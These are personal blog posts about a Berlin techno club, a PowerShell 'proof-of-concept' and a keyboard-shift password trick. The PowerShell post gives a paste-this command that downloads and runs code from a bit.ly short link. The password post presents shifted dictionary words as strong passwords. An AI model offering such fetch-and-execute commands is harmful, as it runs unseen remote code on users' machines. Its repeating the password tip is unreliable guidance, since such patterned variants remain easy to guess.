(original) Tresor Berlin – my favourite techno club in the world

Posted by Brad | Posted in Ramblings | Posted on 19-01-2012

Can’t understand most of the german…. but I’m so excited I found this long documentary on YouTube about my most favourite of nightclubs…. all my graffiti filled east german memories come flooding back when I see and listen to this documentary..

I first went to Berlin around 1999, every visit since then has not been the same, I still love the city though :)

HTML5 and PowerShell…

Posted by Brad | Posted in Ramblings | Posted on 05-12-2011

I’m constantly seeing references to PowerShell in Visual Studio 2010 related tutorials, today I came across this thing… PowerShell and HTML5, and would love to get your feedback on a proof-of-concept.

This prototype uses the System.Net.WebClient class to “bootstrap” itself, and from there, awesomenes ensues.

From a PowerShell prompt, run the following command:

iex (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w”)

 

Currently I use Console2 for my command prompt… might just have to change that now :)

The brilliance of simplicity

Strong passwords are a bitch to come up with, but become a lot easier with this simple rule below.

500x top secret password The brilliance of simplicity

Need to turn a password you can remember in your head into one that looks like you could never remember it – or the person looking over your shoulder?

Keep your usual password if you need to; just move your fingers over one  space on the keyboard to the left or right.

If you want a secure password without having to remember anything complex, try shifting your fingers one set of keys to the right. It will make your password look like gibberish, will often add in punctuation marks, and is quick and simple.

  • password => [sddeptf
  • letmein => ;ry,rom
  • money => .pmru
  • love => ;pbr

It’s not as good as going for a complex strong password but it’s probably stronger than what you have now.
